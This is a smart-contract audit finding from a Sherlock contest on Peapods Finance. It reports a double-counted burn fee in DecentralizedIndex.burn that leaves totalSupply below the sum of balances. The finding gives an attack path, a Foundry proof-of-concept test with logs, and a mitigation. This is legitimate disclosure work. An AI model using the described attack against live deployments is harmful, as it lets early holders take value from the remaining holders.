Magic Fuchsia Guppy

High

# `DecentralizedIndex.sol` with transfer fee and burn fee will have incorrect totalSupply upon `burn`

### Summary

The incorrect accounting in `DecentralizedIndex.sol::burn` can lead that the `totalSupply()` of the DecentralizedIndex to be less than the sum of balances. This will result in incorrect asset to share ratio as well as preventing the last shares to be debonded.


### Root Cause

The `DecentralizedIndex::burn` will decrease the `_totalSupply` by the `_amount` to be burned: 
https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L321-L324

Note that the `burn` function does not have the `noSwapOrFee` modifier.

The internal `_burn` which is from the `ERC20Upgradeable` will call `_update(account, address(0), value);`. This `_update` function is the overriden function in `DecentralizedIndex`.
Assuming the `burn` is not called by the `V2_POOL`, and with the condition that `hasTransferTax` is true, it might have non-zero `_fee`. Which will be given to `_processBurnFee`.
https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L174-L180

If the `_burnAmt` is non-zero, the `_totalSupply` will be decreased by `_burnAmt`.
https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L221-L222

However, this `_burnAmt` is already burned in the beginning of `burn` function, since the `_burnAmt` is actually inclued in the overall `_amount` to be burned.
As the result this `_burnAmt` is going to be reduced twice from `_totalSupply`, but the balance is reduced only once because the `_fee` which includes `_burnAmt` is reduced from the `_amount`.


```solidity
// DecentralizedIndex::burn
// The _amount includes `_burnAmt`
    function burn(uint256 _amount) external lock {
        _totalSupply -= _amount;
        _burn(_msgSender(), _amount);
    }

// _burn will call DecentralizedIndex::_update
        _processBurnFee(_fee);
        super._update(_from, _to, _amount - _fee);

// DecentralizedIndex::_processBurnFee - this will again go to `_update
        _totalSupply -= _burnAmt;
        _burn(address(this), _burnAmt);
```


### Internal Pre-conditions

- The `IDecentralizedIndex::Config`'s `hasTransferTax` is true.
- The `IDecentralizedIndex::Fees`'s `burn` is non-zero.


### External Pre-conditions

- anybody calls `burn` with enough `_amount`


### Attack Path

As soon as enough `amount` is burned the `totalSupply` will be less than the sum of balances.

If the attacker burn some portion while there are no other holders, and they will `debond` before other holders, effectively they are stealing from the last holders.

### Impact

Since the totalSupply is less than the sum of balance, each share will be over valued. As the result the last holders of the pTKN will fail to get their fair asset back.

Also, this can open up other exploitation of price manipulation, since by burning to the totalSupply to be zero, the asset to share ratio will default. They can then get shares via `bond` for a cheaper price.



### PoC

The below PoC is based on `test_burn` of `test/WeightedIndex.t.sol`.
This is to demonstrate the `totalSupply` of pod can be less than the sum of balances.

As the setup, a new pod with transferTax and burn fee is deployed.
The test contract gets the pTKN via `bond`, they are innocent bystander.

The alice would `burn` enough amount to trigger the mis-accounting.

The holders of pod at this point are:
- address(this)
- alice
- pod itself (for the fee)

At the end the totalSupply is less than the sum of the holders.

The resulting logs of the PoC:
```sh
[PASS] test_burn_POC() (gas: 4469408)
Logs:
  totalSupply: 1993000000000000000
  sum balances: 1993000000000000000
  alice burns: 990000000000000000
  totalSupply: 1002930695148660407
  sum balances: 1003029702079145541
```

```solidity
    function test_burn_POC() public {
        /// SETUP
        IDecentralizedIndex.Config memory _c;
        // @audit: hasTransferTax true
        _c.hasTransferTax = true;
        IDecentralizedIndex.Fees memory _f;
        _f.bond = fee;
        _f.debond = fee;
        // @audit: burn fee non-zero
        _f.burn = 7000;

        address[] memory _t = new address[](1);
        _t[0] = address(peas);
        uint256[] memory _w = new uint256[](1);
        _w[0] = 100;
        address _pod = _createPod(
            "Test",
            "pTEST",
            _c,
            _f,
            _t,
            _w,
            address(0),
            false,
            abi.encode(
                dai,
                address(peas),
                0x6B175474E89094C44Da98b954EedeAC495271d0F,
                0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
                rewardsWhitelist,
                0x024ff47D552cB222b265D68C7aeB26E586D5229D,
                dexAdapter
            )
        );
        pod = WeightedIndex(payable(_pod));

        vm.startPrank(alice);
        peas.approve(address(pod), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(bob);
        peas.approve(address(pod), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(carol);
        peas.approve(address(pod), type(uint256).max);
        vm.stopPrank();
        /// end SETUP

        peas.approve(address(pod), type(uint256).max);
        pod.bond(address(peas), bondAmt, 0);

        vm.startPrank(alice);
        pod.bond(address(peas), bondAmt, 0);
        vm.stopPrank();

        uint podTotalSupply = pod.totalSupply();
        uint podBalThis = pod.balanceOf(address(this));
        uint podBal = pod.balanceOf(alice);
        uint podBalPod = pod.balanceOf(address(pod));
        emit log_named_uint("totalSupply", podTotalSupply);
        emit log_named_uint("sum balances", podBalThis + podBal + podBalPod);
        require(podTotalSupply >= podBalThis + podBal + podBalPod);

        emit log_named_uint("alice burns", podBal);
        vm.startPrank(alice);
        pod.burn(podBal);
        vm.stopPrank();

        podTotalSupply = pod.totalSupply();
        podBalThis = pod.balanceOf(address(this));
        podBal = pod.balanceOf(alice);
        podBalPod = pod.balanceOf(address(pod));
        emit log_named_uint("totalSupply", podTotalSupply);
        emit log_named_uint("sum balances", podBalThis + podBal + podBalPod);
        // @audit: total supply is less than the sum of balances
        //    the last person cannot debond due to revert from underflow
        require(podTotalSupply < podBalThis + podBal + podBalPod);
    }
```


### Mitigation

consider putting the modifier `noSwapOrFee` to the `burn` function.
